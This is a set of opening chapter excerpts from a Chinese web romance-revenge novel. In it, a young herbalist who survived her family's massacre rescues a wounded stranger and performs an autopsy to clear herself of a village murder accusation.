《报错仇后被疯批独占了》 1. 再遇 《报错仇后被疯批独占了》全本免费阅读 国公府火光冲天,夜舞游龙。 铁刃寒剑冷漠刺穿一具具痛哭哀嚎的身体,再尽数推入火海。 不过六岁大的女童,却懂得隐匿声色,偷藏于内屋角落,被烧断横梁砸中腿骨,皮肉焦熟的气味伴着钻心疼痛袭来,也只是死命咬住手腕,一声不吭。 父亲嘶哑的嗓音呕尽心血,响彻耳畔。 “不许出声!” 她牢牢记在心里,不敢妄动,趁着屋外打杀声削弱片刻,她猫着身子,小心翼翼从屋后溜出。 寻到后院一处隐蔽小洞,她从里面钻了出去,扑进了漆黑小巷里的一堆脏污中。 狂风哀嚎,夜中高悬的明月洒下银白辉晕。 她再无挣扎站起的力气,手脚并用在地上匍匐,朝着小巷外面拼命爬,身后蜿蜒出一条血路。 四肢百骸都被一点点侵蚀上来的寒意浸透,意识模糊之际,月光忽被遮荫大半。 一双金丝锦靴不动如山,立于悬月之下。 她用尽了全身最后一丝力气抬头望,漆黑夜幕却将眼前少年的身影笼罩在内,怎样也瞧不真切。 只是朦胧觉出隐匿在夜色中的那双眼眸,正在一眨不眨睨着她。 她想伸手拉一拉那人的衣角求救,指尖却在即将触碰到的那刻骤然垂下,失去意识。 身后,是已被火海吞没的国公府。 几片晶莹雪花随之落下,京城的第一场雪到来。 …… 姜醉眠打了个冷颤,从梦中惊醒之时,才发觉自己额间早已覆上了薄薄一层冷汗。 她已经许久没有再梦到当年事情了,或许是又回到了京城,所以便也想起了往事。 当年国公府被下令抄家之后,仅她一人从火场中逃了出来,随后便被叔父杨望平偷梁换柱养在了家中。 杨望平后来也受了牵连,都察院左都御史一职被罢,举家流放,不过幸好是保住了全家性命,一家都去了偏远的南陲小镇,远离了京城这处是非之地。 只是没想到,十年之后,为了给惨死的叔父叔母报仇,她寻着仇人不远千里,竟又回到了这伤心地。 可能这便是冥冥中的孽缘,她是注定要回来的。 醒来之后便觉得再难以入睡,姜醉眠干脆起身下床,还不忘给正在酣睡中的青彤盖了盖被子。 京城冬日绵长,落白皑皑不化,还是这样冷得彻骨。 雪后初见艳阳,终得一派还暖迹象。 来了京城已经快两月,姜醉眠前些日子才好不容易在城东医馆寻得了个给人煎药的活计。她虽然也会些医术,可这京城中多为富贵人家,医术高超的郎中并不稀罕,因此没什么人肯找她一个女郎中看病。 煎药这活简单,她每日也就上午忙些,下午她便不用再去医馆,也能有时间出去打探打探消息。 又捏着那块零星布料从一间布坊出来后,姜醉眠有些垂头丧气。 在一旁的铺子买了两个热乎乎的大包子,她抱在怀中低头走着。 城中所有布坊已经快要被她跑遍了,但是竟然没有一家见过那块锦衣残缺的布料。 叔父叔母惨死乡野家中时,手中分明攥着那一小块布料,很显然是在争斗期间从凶手衣服上扯下来的,而凶手急于离开,并没有发现。 至于那凶手…… 姜醉眠狠狠咬了咬唇,她已告诉自己千遍万遍,不能再自责下去,她必须振作起来,为叔父叔母报仇雪恨,到时才能有脸下去面见他们。 可在京城中寻了这么些日子,还是一点线索都无,姜醉眠难免情绪低落。 她也在四周打探过,京城中可否有姓路的官宦人家,可人家一听这姓氏,便误以为她问得是与皇室同字的那个陆,登时吓得连话都不敢跟她搭,扭头就走。 姜醉眠很快远离了城中闹市,走到了一处偏僻萧索的贫民区。她揣着包子七拐八拐,拐进了最里侧的永巷。 巷子尽头是几间破败瓦屋,与方才鳞次栉比雕镂画栋的商街截然不同。 “姐姐,你回来了!” 青彤正在给院子里的一亩三分地锄草,小小一方土地被分隔成了几块,土壤翻得整洁细碎,等到开春了便可种下些快菜。 姜醉眠说道:“我买了包子,大肉陷的,快过来尝尝。” 青彤翻土的动作不停:“我把这块地翻好就来,很快的。” 姜醉眠见她露在外面的一双小手红通通的,手背上有几处都生了冻疮,心下不忍,上前去抢过她手里的锄具。 “你快歇歇,趁热去把包子吃了,剩下这些我来弄。” 青彤却不肯松手:“姐姐你别插手了,你白日里去医馆已经够辛苦了,家里这些琐事交给我就好了,我不累。” 自从叔父叔母去世后,姜醉眠整个人都消瘦了不少,现下力气竟然不如眼前这小丫头大。 自从跟着姜醉眠以来,青彤便把自己当成姜醉眠的奴仆一般,脏活累活抢着干,什么都不让姜醉眠插手。 有次姜醉眠从医馆回来得早,见她竟然在大冬天的在院落中用冷水浆洗衣物,小手冻得跟快发芽的胡萝卜似的,把姜醉眠气得够呛,也心疼得够呛,给她配了好几副药涂抹手背,又再三告诫她以后就算浆洗,也要烧了热水来用。 “姐姐不缺钱,不用给姐姐省着,知道吗?”姜醉眠边替她涂抹药膏,边轻声细语地同她说道。 青彤当下是答应了,可等到姜醉眠走了之后,还是不舍用买来的烧火木。 这会儿见她冻疮又复发,姜醉眠便知道自己平日不在家,小丫头指定没听话。 “好吧,这包子你不吃,那我扔出去喂狗好了,”姜醉眠作势真的要将油纸一包扔出去,“反正是花了足足三文钱买的,浪费就浪费了吧。” 青彤一听,果然扔了锄具就跑过来,宝贝似的将油纸包护在怀中。 “好好的包子怎么能扔了,我吃我吃,不能浪费了。” 姜醉眠笑眯眯地看她,随后过去捡起锄具,开始翻剩余的土块。 青彤乖乖吃着肉包,吃得满嘴流油也顾不得擦。 “对了姐姐,今日醉红馆的小厮来过,说是方才去了医馆没寻到你,便直接寻到家里来了,鸨母请你今晚去给醉红馆的姑娘们瞧瞧呢。” 鸨母是前日去的医馆,有意找个女医定期给姑娘们看诊,姜醉眠毛遂自荐,便得了这个活计。 虽是青楼妓院,但醉红馆数得上是满京城最为奢靡华丽的温柔乡,多得是权贵子弟出入,里面的姑娘们也各个美艳动人,身怀绝技,自有一派魅惑人心的本事。 入夜时分,姜醉眠如约来到醉红馆门外,说明来意,小厮便引她到了侧门入内。 刚一踏入,一股魅人艳香便扑面袭来。 楼内温暖如春,大堂座无虚席,来客们围坐在低脚矮桌旁,怀中美人在侧,娇香软玉将杯盏醇酒喂进口中,再用柔胰在身上四处游走,便可缓去尽数疲惫。 矮桌旁有条人工凿出的弯曲沟渠,清澈流水将美酒美食传递至各桌,曲水流觞好不快意。 而中间有座高台搭起,台上有歌舞伎奏乐取欢,舞姿曼妙动人,薄纱顺着雪白肌肤缓缓落下,美人羞涩一笑,再将薄纱径直抛掷台下,被一位宾客抓住,放在鼻尖轻嗅几下,飘飘然像是可以登仙。 如此淫靡放荡之景,姜醉眠不敢直视,只是埋首随着小厮快步上了楼。 楼上是更为尊贵的雅间,仅供有身份背景的宾客单独玩乐,单是有钱都不成。 在长廊穿行时,耳边不免听见脂房红帐内隐隐传来的喘息媚声,姜醉眠耳根微红,脑袋埋得更低。 小厮将她带至长廊尽头处,让她稍作等候,便孤身前去通传了。 姜醉眠站立片刻,忽然听见楼下传来阵阵欢呼喝彩声。 有人大声喊道:“我们今日可都是为流樱姑娘而来,怎么流樱姑娘连真面目都不肯示人?” “是啊,要不是听说这醉红馆近日新来了个花魁姑娘,我们哪里会花千金买这席位啊!” “流樱姑娘,快将面纱解下来,让我们一睹芳容吧!” 姜醉眠视线朝着台上望去,只见一女子云鬓高挽,露出一小截白如锦缎的脖颈,纤细美妙的身姿若隐若现藏在虚无缥缈的白纱中,雪白双臂间怀抱着一枝盛放的樱花枝,花瓣粉 2. 救人 《报错仇后被疯批独占了》全本免费阅读 三月前,南陲村外的野山头。 姜醉眠从柔软草地上爬起来,活动了两下腿骨。 日头西沉,拨弄了两下竹篓里的草药,她也准备下山了。 今日运气不错,镇上药铺掌柜提起过的虫草,居然还真的被她苦心寻到。 虫草珍贵,随意拿去镇上药铺询价,一根少说也能卖上五百文。 可惜今日她走遍了大半座山也只挖着一根,只得明日换座山头再寻。 下山路难走,林中草木茂盛,能没过半人高,若无经验者,很容易在这林子中迷路。 可姜醉眠对此路再熟悉不过,她每日上山采草药,去镇上卖了补贴家用,闭着眼睛她都能识得下山路。 不过今日似乎有些不同,方才还是艳阳大作,烈日当空,转眼间阴郁天色缓缓压下,浓云滚滚自东疾掠,湿黏冷风裹挟着一股凛冽血腥直扑面鼻。 哪来的血腥味? 姜醉眠定睛往不远处的草叶丛中望,林风乍起,草木折腰,隐约显露出暗藏玄机。 里面竟然趴着具死尸。 四周昏天暗地,呜呼风啸如野兽哀嚎,吹得人毛骨悚然。 姜醉眠壮着胆子往前走了两步,看清那死尸身高约九尺,身着玄色锦袍,看着不像普通农户。 她无意多管闲事,捏紧裙边,正要从尸体身旁跑过去,谁知一股强劲力道忽然从后方拉住了她的裙角。 她顿时停住了脚步,单薄后背挺得笔直,颤巍巍抖了两下后,缓缓回头,瞧见了一只松竹骨节般纤长劲瘦的手。 青白手背筋络暴起,不知哪里来的力气,几乎要将粗麻裙角扯烂。 “死尸”抬头,散落发丝被草泥血污黏在脸庞,满面脏乱泥垢,看不出原本面目。 唯有一双狭长收紧的凤眸,漆黑凌厉,带着与生俱来的强势威压和震慑,上挑着与面无血色的少女对视一眼。 美眸登时瞪圆,姜醉眠颤巍巍将自己的衣裙往外拽,可惜力气却不如这“死尸”大,竟然拽不动分毫。 “你,你要干什么?” 那“死尸”从袖口缓缓掏出个东西来,姜醉眠定睛一看,竟是两张五千两的银票。 “下,山。” 可能是不知昏迷了多久,“死尸”嗓音片沙,气若游丝。 姜醉眠懂了,这一万两便是要自己带他下山的报酬,但是还没等她回话,面前的人就又昏了过去。 姜醉眠立在原地沉默挣扎了半晌,最后还是叹了口气,将竹篓摘了下来。 她找到压在最下面的那棵虫草,塞进他口中。 “当是你自己花钱买的。” 雨势渐渐变大,她这才注意到雨水已将他满面血污冲掉些,露出底下惨白如纸的一张俊脸。 即使闭着双眼,也能看得出流利狭长的眼型走势,锋利如刀削般的眼尾锐得像把利刃,睁开时寒霜凝雪,气势凌人,高冷矜贵的像俯视蝼蚁众生的杀神。 伴着浓黑如墨的眉鬓,高挺笔直的鼻梁,薄削无情的双唇...... 只一眼,便能肯定这绝不是农田庄户能养出的绝佳皮相。 还有他身上的锦衣布料当真特殊,摸起来顺滑无比,想来也价值非凡。 姜醉眠没工夫多想,趁着真正暴风雨还没到来之前,把人一步步拖下了山。 到家之后,天色已然尽黑,雨势不减,颇有愈大趋势。 只有杨月樱下学在家,叔父叔母应该还在地里忙着收粮。 农院不大,只有三间瓦房,一间是吃饭的堂屋,叔父和叔母一间,姜醉眠和杨月樱一间。 现下平白多了个男人,姜醉眠直接将人拖到了柴房去。 杨月樱听到柴房动静,撑了纸伞过来。 “阿眠,你今日上山怎么这么晚才回来,是不是被雨淋湿了?我煮了些姜汤,你快换了衣物去喝些。” 刚进柴房,杨月樱险些惊叫出声。 一个身形高大的男子躺在草席上不说,胸前衣衫还已经被姜醉眠解开了大半。 “阿眠!你,你在作什么?!” 姜醉眠挽起袖口,纤白柔美的双手瞧着不似农户出身。 她眨了下眼睛,应道:“扒他衣物。” 杨月樱听言,耳根都红了些:“这是何人?” “我也不知,只是在山上采药时意外遇见的,他给了我些银钱,托我带他下山。” 杨月樱见他伤口骇人,问道:“那他醒了会不会有什么危险?” 姜醉眠给那人喂了几口汤药,淡然道:“不会,这药能让他几日内都体虚无力,连院子里的鸡都比不上的。” 杨月樱放心下来:“怎么说也是一条人命,咱们总不能见死不救不是。爹娘可能快要回来了,我先去煮饭罢,你快些将衣物换下来,别生了风寒,姜汤我给你留着了,要趁热喝。” 姜醉眠弯了弯眉眼:“好阿樱,你对我最好了。” 杨月樱温柔一笑,转身出了柴房。 姜醉眠将他左胸上方那个黑洞洞的血窟窿敷上药渣,再拿干净的布料包扎好,恰好湿透的黑衣也被火烘干了,便又将他的衣物重新穿好。 黑衣盖好最后一条缝隙,流畅漂亮的喷薄肌肉在眼前消失。 下一秒,她的手腕却被人猛然攥住。 琼玉似的几根长指,仿佛想将掌心里这温热柔软的腕骨直接折断了去。 草席上的人竟然微微掀开了眼,轻飘飘斜睨过来一瞥,讳莫如深的眸色让人有些喘不过气。 姜醉眠愣怔片刻,与他对视。 开扇的眼尾狭长收窄,阴鸷冷厉,凶狠的像是要杀人。 实非善茬。 可再不善,也不能杀救命恩人罢。 手腕痛得像是快被捏断了,少女秀眉蹙起,低低痛呼一声。 “你,放手,我是带你下山的人。” 话音刚落,手腕上的力气果然松了。 姜醉眠迅速退后两步,抱住自己手腕揉了几下,等她再抬眼看向草席,那人已经又闭上了眼。 要不是手腕上的疼痛还在,她还以为刚才是自己的幻觉。 边揉着手腕边出了柴房,回屋换下衣物,又将杨月樱给她盛出来的姜汤喝了。 姜醉眠出了屋子,却听见门外正好有人在敲门。 她以为是二老从地里回来,拉开大门道:“叔父叔母你们......” 谁知门外站着的,竟然是个黑黑瘦瘦的身影,看起来跟姜醉眠一般高。 雨夜视线模糊不清,姜醉眠使劲眯了眯眼睛,才看清楚那张面庞,黑得像是烧坏的锅底,竟然会是王大娘家的独子。 “王多贵?” 王多贵咧开参差不齐的牙口,不怀好意笑起来:“娘子,谁让你直唤夫君姓名的?” 姜醉眠蹙眉,神色有些不悦。 王多贵与她和杨月樱同岁,先前三人又同在学堂念书。 上月他和他娘王氏来家里提亲,想定下姜醉眠,被杨望平一口回绝了之后,又说定 3. 偿命 《报错仇后被疯批独占了》全本免费阅读 姜醉眠连忙伸手将人接住,只是实在太重了,纤细单薄的身板也随之“砰”一声抵在了门上。 这人怎么说晕就晕,每次连点预兆都没有。 被压得有点喘不过气来,姜醉眠用力推了面前人两下,谁知不小心按到了他左胸上的伤口。 只听得一声低沉沙哑的闷哼,堪堪擦过耳边传来,惹得细弱身板浑身震颤了两下。 姜醉眠连忙收手,察觉掌心略带粘腻,怕是伤口又渗出血来了,她暗忖自己粗心大意,竟往人伤口上撞,心中生出些内疚感来,便没再推人,反而搂上了劲瘦的腰,妄想靠自己撑住两人的重量。 有断断续续的温热气息拂过耳际,姜醉眠觉得酥痒难耐,侧眸望去,却正与一道复杂沉寂的凤眸对视上。 原来他压根没晕,还心安理得的靠在她身上! 姜醉眠搂在他腰上的两只手像是着了火,慌忙收回来。 “你快自己站好。” 面前的人微微晃了下方才站稳,一手抬起摸了摸左肩上的伤,俊眉微蹙,想来也是觉出疼了。 大门此时却恰好被人从外面推开,两个身影披着蓑衣回来,浑身均已湿透。 姜醉眠见状,忙上前询问道:“叔父叔母,地里情况如何?粮还能救吗?” 叔母赵兰叹了口气:“我和你叔父通了通几亩田的排水沟渠,这雨看样子一时半会停不了,可别把地泡坏了就好,不然下半年收成都会受影响,你叔父辛苦大半年种的些麦子,怕是又要颗粒无收了。” 杨望平将手中锄具归拢到门后墙角,语气埋怨:“跟孩子说这些做甚……” 农户看天吃饭,日子虽不好过,可二老从不让两个孩子下地干农活,反而砸锅卖铁也要供两个孩子去学堂念书。姜醉眠从小就比寻常孩子聪慧,那学堂里教的东西她小时候就早已读过,她便常常偷溜去山上采草药,再去镇子上卖了补贴家用,她还跟着镇上药铺那掌柜的学了些药理,寻常小病她也看得。 “我就是告诉孩子咱们地里的实情,总瞒着她,她也跟着担心不是。”赵兰颇为委屈:“又不止你这个叔父心疼孩子,眠儿叫我一声叔母,我也是把眠儿当成了亲女儿看待的,怎么你老是嫌弃我。” 杨望平忙道:“得得得,是我错了还不成,眠儿也是大孩子了,知道也无妨。” 二老经常吵吵闹闹地拌嘴,姜醉眠知道他们都是在为自己着想。 可现在还有件大事,她尚不知该如何开口。 赵兰已提步朝着屋内走,只是刚走了两步,便猛然发现姜醉眠身后的黑夜中,好像还站着个人影。 “眠儿,有客人来吗?”到底是端庄的气度还在,赵兰被惊到了也并未显露于色。 姜醉眠扯了扯唇角,笑得异常乖巧。 “叔父叔母,我今日在山上,救了个人。” 杨月樱已烧了两个菜,还熬了锅热粥。 但是今日小小的饭桌上热气腾腾,却无人动筷。 往常都是一家四口其乐融融的画面,现如今多了个人,怎么看怎么怪异。 杨望平率先打破沉静,开口道:“都用饭吧。” 几人纷纷举筷,安静进食。 杨月樱捧着粥碗,脸蛋都快埋进去了,时不时从碗后偷偷看那位不速之客一眼,然后再偷偷收回眼神。 杨望平是都察院出身,亲生女儿这小心思自然逃不过他的法眼。 他开口道:“这位公子,敢问尊姓大名?” “免贵姓路。”低沉嗓音从容应道。 “陆?!” 杨望平脸色却是骤然一变,放下碗筷的瞬间,眼神中充满了凝重敌意望过来。 赵兰都跟着身子一颤,不敢置信的抬头,双眸似乎溢出些痛苦神色。 饭桌上气氛刹时间冷到极点。 姜醉眠一口气吊在胸口,顿时不敢下咽。 杨望平变了语气,带着股从前审讯犯人时的威严:“公子可知陆姓,犯了当朝天子名讳。” 如今的天子登基之时,早已下令陆字为皇室专用,平民百姓不得僭越。 “在下的路,是道路的路,路予行。” 原是同音不同字。 赵兰重重呼出口气,杨望平与她对视一眼,二人眸中似有千言万语,却并未多言其他。 杨望平又提起筷子,替路予行夹了些菜。 路予行微微欠身,举止颇有礼数,就连那双沁着寒霜的凤眸,此刻也将肃杀阴鸷尽数敛去,低眉垂眼之时,竟然多了几分温润和煦的谦卑之姿。 杨望平继续问道:“眠儿说是在山上救了你,不知路公子为何会身负重伤?” 路予行敛眸,唇色尚有些苍白:“不瞒诸位,我随家父南下经商,谁知路遇劫匪抢道,我被劫匪所伤后与商队走散,后又在山中迷路,幸而,被眠儿姑娘所救,不胜感激。” 三言两语便交代了清楚,而且他瞧着也真像是哪家富贵人家的公子,不似说谎。 姜醉眠在他称自己为眠儿姑娘时,侧眸瞄了他一眼。 不巧路予行偏也正在看她,不胜感激四字,像是真在谢她救命之恩。 如果,那眼神不似笑非笑地在她身上扫了两圈的话。 杨望平又问了些问题,路予行一一作答,连家住何处,家中几口人,几亩良田,几处商铺都讲得明明白白,连杨望平也没察觉出有何不妥。 一顿饭吃完,赵兰说柴房条件有限,让姜醉眠又抱了两床被褥去铺在草席上,这才对路予行道:“路公子,家中简陋,还望你不要嫌弃,大可在这住下,等到你家里人来接你也不迟。” 路予行颌首:“有劳。” 姜醉眠哼哧哼哧铺好床褥,正琢磨着要不再给他换个药,刚才伤口应该又流血了,赵兰却一把将她从柴房中拉了出去。 “叔母,”姜醉眠险些被拉得一个踉跄,“你这么着急是有事吗?” 赵兰语重心长:“那到底是个男子,你们二人万不可独处一室,不然将来传出闲话,你一个姑娘家家该如何做人。” “为何男子无事,女子却要饱受非议?”姜醉眠问道。 4. 验尸 《报错仇后被疯批独占了》全本免费阅读 姜醉眠来不及起身,手脚并用向后躲,菜刀堪堪擦过她鼻尖砍过,王氏见一劈不中,收了力气高举菜刀,又是狠命的一刀落下。 姜醉眠侧身躲过,手臂却被刀尖划过,裂开一道细小的口子,丝丝密密的疼钻上来。 “你给我去死!给我儿偿命!!” 王氏一边喊着一边还要再追上来,雨中有个身影忽得出现,一把攥住了王氏手腕,将她手中菜刀轻松夺过,随手扔远。 姜醉眠惊魂未定的看着面前的路予行,心想若不是他出手,她这会儿怕是要被砍掉一只胳膊了。 “王大娘,到底发生什么事情了?”姜醉眠捂着手臂,血迹顺着指缝被雨水冲刷下来,落进脚底污泥中。 王氏目眦欲裂,神色痛苦扭曲崩溃嚎哭:“你还敢问!我儿昨夜彻夜未归,定是与你这小贱蹄子在一起,结果今天早上,我儿就被人从河里打捞上来了,可怜我的儿啊,尸骨未寒,你这个小贱蹄子现下居然又勾搭上了旁人!我要你死!我儿定是被你和这个奸夫害死的!你们都要给我儿偿命啊!” 什么?! 姜醉眠眉头紧锁,不敢置信地看向身旁人,口中喃喃:“王多贵,死了……” 她虽然厌恶王多贵,可从来没想过要他死啊。 路予行微微垂眸,看了眼她手臂上的血迹,再看向她的脸庞,此刻被暴雨冲刷得竟然苍白如纸。 他伸手,在她摇摇欲坠的身影背后轻扶了把。 “口说无凭,去看看尸体。” 姜醉眠站稳身子,如梦初醒,提步就朝着大门口跑去。 门外正好有几人披着蓑衣赶来,神色匆匆。 “姜醉眠,村长和耆老们都在宗祠等你,我们是来带你过去的。” 姜醉眠已经回过神来,这几人分明是来押她去问罪的。 宗祠内庄严肃穆,正座上坐着村长,数十位耆老位列两旁,周围还站着些身强力壮维持正义的村户,俨然一副升堂模样。 而那堂下一卷草席裹着的尸体,正是被河水泡的发胀发白的王多贵。 姜醉眠随几人刚买进宗祠,后腿弯处就被人踢了一脚,她两腿一软,“扑通”一声跪在了尸体面前。 村长头发花白,面容庄重,问道:“姜醉眠,王氏说他的儿子是被你推进河里害死的,你有何要辩解的?” 骤然离得尸体太近,腥湿雨气混合着尸体恶臭扑面而来,姜醉眠眼泪花在眼眶打转,险些干呕出来。 她压下后翻腾的胸口,抬手掀开草席瞧了眼,尸体已经被泡成了这副样子,确实像是昨夜在河里淹死的。 跟在后面进来的王氏瞧见姜醉眠正在打量王多贵尸体,尖叫一声便扑了过来,把姜醉眠直接撞到了一旁去。 “谁准你碰我儿子的!你这个杀人凶手!是你!一定是你干的!” 姜醉眠从地上爬起来,正欲起身,后腿弯处便又被人踢了下,她脱力跪下。 “有罪之人,在宗祠必得跪着回话。” 受伤的手臂血流的更多了些,姜醉眠一字一句道:“不是我。” 王氏张牙舞爪扑过来:“不是你是谁!我儿昨夜就是专程去找你个小贱人的!” 姜醉眠不管不顾,仍旧要从地上爬起身。 她无罪,为何要跪。 “那是他贱,偏要来找我,被我赶回去了。” 这次无人再踢她腿弯,姜醉眠强忍着膝盖的疼痛,起身回望。 站在身后的人一袭黑衣,氤氲水汽笼在沉寂眉色周围。 路予行不知何时来的,将那个欲踢她的村户隔开,一手拉住她手臂往后带。 “你,你胆敢如此辱骂我儿!” 姜醉眠被拉着避开王氏的横扑,后背轻轻贴上片冰冷的胸膛。 两人身上是同样寒湿的雨水。 她低声道:“多谢。”随后轻轻挣开。 路予行无言,只是唇角轻勾,顺势松了手。 王氏被几人拉住,村长喝道:“你这妇人,今日不正是给你儿申冤,若不是出村的路被泥流冲垮,我便带你二人去官老爷门前分辨了,这里是祖宗的宗祠,岂容你在这撒泼打滚!” 村长又对姜醉眠道:“昨夜确实有人见到王多贵朝你家方向去,若你拿不出证据,证明不是你残害王多贵的凶手,那我也无法帮你。” 姜醉眠阖目,片刻后再睁开,已是另副神韵。 “我想验尸。” 此话一出,满座哗然。 乡间民俗传统,人死为大,不管何事都不能惊扰亡故之身,尸体自然也是不能随意妄动的。 因此别说验尸,就是连触碰一下尸体,王氏都能和姜醉眠拼命。 可姜醉眠思来想去,总觉得王多贵的死因布满重重蹊跷。 即使王多贵当真是自己失足落水,可他分明从小习水,水性极好,就算被下了散气的药,也不该活活溺毙。 要想知道死因,必得验尸。 “好啊,我儿死了你也不让他安稳,你居然还想动他的尸体!你也不怕惊扰了他在天之灵!我看你敢动我儿尸体一下,我绝对跟你拼命!” 王氏死死阻拦,绝不许任何人碰王多贵的尸体。 姜醉眠望向座上,眼神求助:“村长,若能让我验尸,我便能证明自身清白。” 村长也颇为犹豫:“不说其他,眠丫头,你可会验尸之术?” 姜醉眠虽只有三成把握,却坚定点头。 她在医书上看过,也在镇上郎中那见识过人体骨位,应该不难。 村长低头片刻,应声道:“好,叫她验尸,断不可冤枉一个无辜之人。” “村长,不可啊,且不说她只是个野丫头,这死者为大,岂能随意摆弄尸体啊!” “村长,万万不可啊!在宗祠验尸,这可是对祖宗大不敬之过啊!” “……” 姜醉眠顾不上宗祠里的质疑阻挠声,撕下衣角裹住双手,轻手轻脚掀开草席,仔细查看起尸体来。 见她公然对尸体做出些大不敬举动,王氏气急攻心,竟然直接昏死过去。 宗祠内倒是清净了不少,可那些耆老们和村户们从未见此情景,边窃窃私语边翘首以待。 路予行本无意插手,可方才瞧着那抹纤韧单薄的身影一次两次被人踢着跪倒在地,又两次三次地挣扎爬起,他心中竟莫名松动几分,未及反应,已经出手将人拉进了怀里。 这会儿那双凤眸浅浅眯着,黑瞳幽深似潭,一眨不眨望着围绕尸体打转的人儿。 5. 包扎 《报错仇后被疯批独占了》全本免费阅读 耳际忽得传来阵热流,低沉的嗓音像是蛊惑般往她心里钻。 姜醉眠浑身一震,这人分明就是来捉弄自己,心眼忒坏。 她快速向后撤了一步,拉开两人过近的距离。 冷冽雨水瞬间浇下,顺势掩去她红透的耳根。 头顶的伞却也随之倾斜过来,路予行又朝她走近一步,两人便又同处伞下这一小方天地。 姜醉眠还想再退,却被一只手扣住胳膊,不准她再动。 “躲什么,”路予行目光顺着她脸庞滑下去,略过胸前湿透紧贴的起伏,落在了她身侧,“伤口不能淋雨。” 姜醉眠看了眼自己的手臂,血已经不怎么流了,只是半截衣袖已被鲜血染红,瞧着骇人。 她哪里还会在意这一点小小的伤痕,她的腿上还有片更加骇人的烧伤疤痕,没人见过。 姜醉眠没再扭捏,二人同撑一把伞往回走。 路上姜醉眠一直在想,若他当真是随父南下经商,为何会途径如此偏远的南陲? 而且与商队走散了,他又为何丝毫不见急慌? 自己在他昏迷时候给他下的可令人散气之药,好像也毫无作用,他看起来可不像打不过院子里的鸡。 “你可知商队现在何处?”姜醉眠试探性地问,表情故作轻松自然。 “这就要赶我走?”路予行将她心虚的神色尽收眼底,“一万两银票,在你家住不得几日?” 提起银票,姜醉眠装模作样地从怀中小心翼翼取了出来,递过去。 “对了,这银票还给你,叔母说了我们不能收。” 路予行没接,只斜睨了眼捏在银票上细白葱嫩的指尖。 想来是被养育的很好,没干过什么粗活,手指才会生得跟富贵人家千金大小姐似的。 “真心想还?”他问道。 伸过来的那只手明显顿了下。 十万两,叔父叔母种十辈子粮也换不来。这笔钱能让他们一家以后的日子过得很好,叔父叔母年纪大了,也不能再如此操劳了。 可没等姜醉眠回答,纤长两指便果真将那十万两银票收了过去。 “啊,”姜醉眠惊讶道,“你还真的要回去了。” 她默默咬唇,只恨自己为何哪壶不开提哪壶,人家又没主动开口要,她怎么还脑子犯蠢主动还回去。 等到那抹淡粉色的唇瓣被咬得像染了胭脂似的嫣红,路予行才闷笑一声,抬手伸过来。 姜醉眠只感觉到胸襟被轻微挑开了些,有什么东西随后缓缓塞了进来。 “收好了,下次若再提……” 她低头,恰好见那只骨节分明的手收了回去,而那两张银票被叠好,明晃晃得塞在她胸口处。 桃花眼中登时亮起几分,潋滟眼尾都欣喜得眯起。 “不会不会,我会收得好好的。” 姜醉眠弯着眼角笑,顺手又将银票往里面又放了放,失而复得,她可断不会再犯蠢了。 路予行见她这副财迷样儿更觉有趣,甚至有些后悔方才给她塞回去的太快。 二人走到家门口,杨月樱早在门口等候多时。 见二人平安归来,杨月樱眼中有高兴之色,可又见二人居然同撑一伞,肩膀几乎相贴,姿态显得亲昵,她心中不由得泛起隐隐酸涩。 姜醉眠模样比她生得好,又从小就比她天资聪颖,父亲母亲常夸她不说,就连王多贵家来提亲,都是先要的姜醉眠。 现下那位路公子看起来,也仿佛对姜醉眠有意。 是不是只要姜醉眠存在,自己就会永远活在她的光芒之下,变成她的影子。 永远也不会有人多看自己一眼? “阿樱!”姜醉眠冒雨朝她跑过来,钻进了她的伞下,望向她的双眸亮晶晶的,只有欣喜。 杨月樱忽然觉得自己方才心中所想简直卑劣至极,姜醉眠是和她从小一起长大的姐妹,虽然没有血缘关系,可也情同手足,她怎可在内心生出如此脏鄙的想法。 望了眼姜醉眠身后不远处的路予行,杨月樱温温柔柔道:“你没事就好了,方才险些吓死我了,到底出什么事了?” 姜醉眠一边拉着杨月樱朝院内走,一边告诉了她宗祠内发生的事情。 “你胳膊上的伤口我看看。”杨月樱按着姜醉眠在竹凳上坐下,又拿剪刀将她袖口处慢慢剪开。 伤口不深,可嫩白的皮肉也沾满了血污,张着血盆大口一般往外翻。 杨月樱眉眼间溢满担忧之色:“这可怎么办好,伤口要赶紧包扎,可,可我不会啊……” 姜醉眠对自己的伤心里有数:“没事的阿樱,你去帮我找些东西来就好。” 她一一交代过后,杨月樱连连道好,起身去拿来所需之物。 姜醉眠一手将酒坛打开,狠心咬紧了后槽牙,拎着朝自己伤口处倾倒了些。 白酒将血水冲走,辛辣刺激的疼痛感刺破肌肤直往骨头缝里钻,秀眉痛苦地拧成了一条线,煞白的小脸上疼得没有一丝血色。 片刻后,一只手伸过来强行将酒坛拿开。 路予行开口道:“好了。” 姜醉眠又颤巍巍想用一只手替自己上药包扎,杨月樱欲动手帮她,却被人抢了先。 那双手瞧着青筋满背,该是力重无比,谁知缠着雪白布条层层环绕的举动竟轻得不可思议。 劲瘦有力的手指纤长,轻松便能将细弱白润的胳膊轻松罩住,一刚一柔,对比鲜明。 路予行动作熟练,比姜醉眠包扎的手法还要好一些。 上了药之后疼痛感减轻了些,姜醉眠唇色苍白:“谢谢。” 自己不过受了这点小伤,都疼得快要死了似的,面前这人被捅了个大洞,竟然还能泰然自若。 这是怎样可怕的忍耐力。 “你的伤也要重新上药。”姜醉眠捂着手臂起身。 一只手搭上她肩膀,轻轻使力,她便觉得有千斤重,又坐了回去。 “就不劳眠儿姑娘操心了,”路予行似笑非笑道:“毕竟你叔母教导过,男女有别。” 姜醉眠挑起沾了些泪意的眼眸看他:“你,你这人,怎么偷听别人讲话!” 定是叔母在柴房外跟自己说的话都被他偷听去了,实在可恶! 路予行似乎是很喜欢看她这副兔子急了要咬人的姿态,好整以暇地 6. 变故 “杨家三口,全都死光了!” 《报错仇后被疯批独占了》全本免费阅读 雨过天晴,远山仍旧薄雾弥漫,镇上倒是热闹异常。 姜醉眠跑进药铺时,险些撞上位拄拐前来拿药的患者。 “哟,你这丫头当心着点!” 掌柜须发尽白,面目慈善,此时却吹胡子瞪眼瞧着姜醉眠,故作凶恶。 姜醉眠不好意思地跟人赔礼道歉,随后将竹篓“砰”一声甩到柜面上。 “师父,您快瞧瞧我前几日上山发现什么宝贝了。” 平白多了个徒弟的白更生面上愠怒:“我何时答应了收你为徒。” 姜醉眠认真道:“可我已经是您徒儿了呀,师父,您教我药理,赠我医书,虽然您如今只开药铺并不看诊,可徒儿知您医术高超,心中悬壶,徒儿只认您这一个师父。” 